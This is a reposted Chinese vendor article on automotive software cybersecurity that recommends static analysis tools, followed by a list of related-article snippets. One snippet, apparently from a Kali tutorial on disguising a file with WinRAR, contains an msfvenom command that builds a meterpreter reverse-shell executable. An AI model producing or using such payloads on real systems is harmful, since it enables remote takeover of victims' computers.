车载软件易受攻击,如何规避嵌入式软件漏洞

图片

在汽车开发中,汽车网络安全至关重要,特别是现在汽车软件变得日益互联。阅读本文,了解如何预防汽车网络安全漏洞。

为什么汽车网络安全很重要?

如今,互联汽车的解决方案远不只有简单的从A点到B点。通过实时数据共享、应用与汽车的连接、先进的驾驶辅助系统(ADAS)、关键的安全功能(如位置跟踪、远程停车)以及车载信息娱乐系统(IVIs),互联汽车旨在提升驾驶(和乘车)体验。

但是,为车辆添加智能功能会使它们面临网络攻击,导致客户数据泄露,最坏的情况是影响关键的安全功能。有时,直到产品发货后,您才意识到某些漏洞本可以轻松预防。例如,据彭博社报道,最近汽车盗窃案的增加是由于车钥匙系统中没有安装防盗计算机芯片。这就是为什么在开发之初就要考虑各种潜在的攻击途径,并制定计划。

幸运的是,随着对联网汽车的需求不断增长,以及政府出台了更多的法规,汽车生厂商也越来越注重汽车网络安全。根据Meticulous Research最近的一份报告,到2030年,汽车网络安全市场预计将达到139亿美元。

汽车嵌入式软件的网络安全至关重要,它是确保汽车软件经得起考验且安全可靠的唯一途径。它能提高车辆的安全性、保护乘客的安全,同时也是在保护制造商和开发人员。它降低了声誉受损的风险。

但是,如何确保汽车网络安全呢?

这就是问题所在。

了解应该将精力和时间集中到哪里可能就是一大难题。不过好在大多数安全问题可以追溯到软件漏洞,而这些漏洞是可以轻松预防的。

主要汽车网络安全漏洞

以下是两个重要的汽车网络安全漏洞及其预防方法。

内存缓冲区问题

内存缓冲区问题是最重要的汽车网络安全漏洞。这意味着软件可以读取或写入内存缓冲区边界之外的位置。缓冲区溢出就是其中一个例子。

这包括: 

  • 未检查副本上输入的大小

  • 允许写入任意位置的Bug

  • 越界读取

  • 指针超出预期范围

  • 不受信任的指针取消引用

  • 未初始化的指针

  • 已过期的指针引用

  • 超出缓冲区末端的内存访问

防止内存缓冲区问题对于汽车网络安全来说非常重要。

代码注入

代码注入是另一种汽车网络安全漏洞。它们会影响解释性环境(interpreted environment)。代码注入最常影响的是信息娱乐系统和其他复杂的车载系统。 

防止代码注入攻击对于确保汽车网络安全非常重要。您可以联系龙智(Perforce中国授权合作伙伴),获取防止代码注入攻击的建议和白皮书。

TOP汽车网络安全标准和指南

为了保持竞争力并确保汽车嵌入式系统的网络安全,原始设备制造商(OEMs)需要满足不断发展的汽车标准和指南。

ISO SAE 21434

ISO SAE 21434是道路车辆电子系统网络安全风险的标准,涵盖了车辆生命周期的所有阶段,适用于车辆中的所有电子系统、软件以及任何外部连接。ISO SAE 21434还为开发人员提供了在整个供应链中实施安全保障的指南。

WP.29

另外,最新的WP.29 UNECE法规涵盖了网络安全管理系统和软件更新管理系统,为汽车制造商制定了适用于整个供应链的明确流程要求。这些指南包括建议在软件开发的网络安全最佳实践中使用编码标准。

静态分析是验证这些编码标准的推荐方法。开发人员可以使用静态代码分析器(如Helix QAC和Klocwork)来帮助执行并证明符合编码准则(如MISRA® 和 CERT),帮助组织和供应商满足建议的软件验证准则。

如何预防汽车网络安全漏洞

以下是预防汽车网络安全漏洞的方法:

  1. 使用设计审查、手动分析和自动静态分析;

  2. 确保您了解所有黑匣子组件。使它们保持最新状态;

  3. 不要以为一切都在自己的系统内。请特别注意可能从网站中提取的项目。 

静态代码分析可以提供帮助。

使用Perforce静态分析工具提高汽车网络安全

提高汽车网络安全并预防漏洞的一种最有效的方法是使用静态分析工具,例如Helix QAC或Klocwork。

静态分析工具能够帮助执行关键的汽车编码指南(如MISRA和AUTOSAR C++14),同时协助遵守功能安全标准(如ISO 26262)和安全标准(如ISO 21434)。

而且,静态分析工具还能通过以下方式提高软件质量:

  • 在开发早期检测汽车网络安全漏洞、合规性问题和违规行为,加速代码审查和手动测试;

  • 强制执行行业编码标准和准则;

  • 加速代码审查;

  • 报告不同时间、不同产品版本的合规性。

文章来源:https://bit.ly/3Tn3BKK

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/287122.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

kali-WinRaR高级配置

文章目录 操作环境一、下载WinRaR二、准备工作三、文件名处理四、开始监听 操作环境 kali windows 一、下载WinRaR http://www.winrar.com.cn/ 二、准备工作 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.64.129 LPORT4444 -f exe -o YouGuess.exe┌──(…

【论文阅读】FreeU: Free Lunch in Diffusion U-Net

paper:https://arxiv.org/abs/2309.11497 code:GitHub - ChenyangSi/FreeU: FreeU: Free Lunch in Diffusion U-Net 1.intro 贡献: •研究并揭示了U-Net架构在扩散模型中去噪的潜力,并确定其主要骨干主要有助于去噪&#xff0c…

C++第一讲之初入C++

注:本文是对于学完C语言再学C同学的讲解,主要补充C与C语言不同之处,如果你没学过C语言,不建议观看本文。 一.C简介 我们都知道C语言是过程性语言(强调的是实现过程),即对计算机语言要处理的两…

C语言--字符函数与字符串函数

大家好,我是残念,希望在你看完之后,能对你有所帮助,有什么不足请指正!共同学习交流 本文由:残念ing 原创CSDN首发,如需要转载请通知 个人主页:残念ing-CSDN博客,欢迎各位…

推荐一款好用的PDF阅读器

下载地址: https://download.csdn.net/download/a876106354/88643909

翻译: LLMs大语言模型影响到高工资的的白领知识工作者 加速各行各业的自动化潜力 Automation potential across sectors

我们已经探讨了生成人工智能可能对您的工作有用,也讨论了分析其对企业的影响。现在,让我们拉远镜头,看看它对不同公司的工作角色以及对不同行业部门的影响。这个视频的结果对特定企业可能不那么直接可行,但也许这会帮助您思考并尝…

Node.js使用Express框架写服务端接口时,如何将接口拆分到不同文件中

项目目录结构说明: node.js连接mysql数据库步骤可参考:Node.js 连接 MySQL | 菜鸟教程 1、拆分之前的写法,未区分模块,所有接口api都写在了入口文件app.js中; 需求:想要将接口api拆分成根据不同的业务模块…

在4*4的平面上计算2a1+1+1

0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 在4*4的平面上有2个点,保持2a1的结构,然后向剩余的14个格子里随机扔2个石子。 共有14*13/291种可能 1 - - - 2 - - - 3 - - 1 4 - - - 1 1 - 1 1 - - - - - - - 1 - - …

深度剖析知识图谱:方法、工具与实战案例

💂 个人网站:【 海拥】【神级代码资源网站】【办公神器】🤟 基于Web端打造的:👉轻量化工具创作平台💅 想寻找共同学习交流的小伙伴,请点击【全栈技术交流群】 知识图谱作为一种强大的知识表示和关联技术&am…

非递归实现的快速排序

目录 序列文章 前言 学前补充 非递归快速排序 注意事项(重要) 实现步骤 代码实现 时空复杂度 快速排序的特性 栈的相关代码 序列文章 非递归实现的快速排序:http://t.csdnimg.cn/UEcL6 快速排序的挖坑法与双指针法:ht…

创建自定义 gym env 教程

gym-0.26.1 pygame-2.1.2 自定义环境 GridWolrdEnv 教程参考 官网自定义环境 ,我把一些可能有疑惑的地方讲解下。 首先整体文件结构, 这里省略了wrappers gym-examples/main.py # 这个是测试自定义的环境setup.py gym_examples/__init__.pyenvs/__init__.pygri…

【NI-RIO入门】扫描模式

于NI KB摘录 所有CompactRIO设备都可以访问CompactRIO扫描引擎和LabVIEW FPGA。 CompactRIO 904x 系列是第一个引入 DAQmx 功能的产品线。 扫描引擎(IO 变量) – 主要为迁移和初始开发而设计。控制循环频率高达 1 kHz1,性能控制器上的频率更…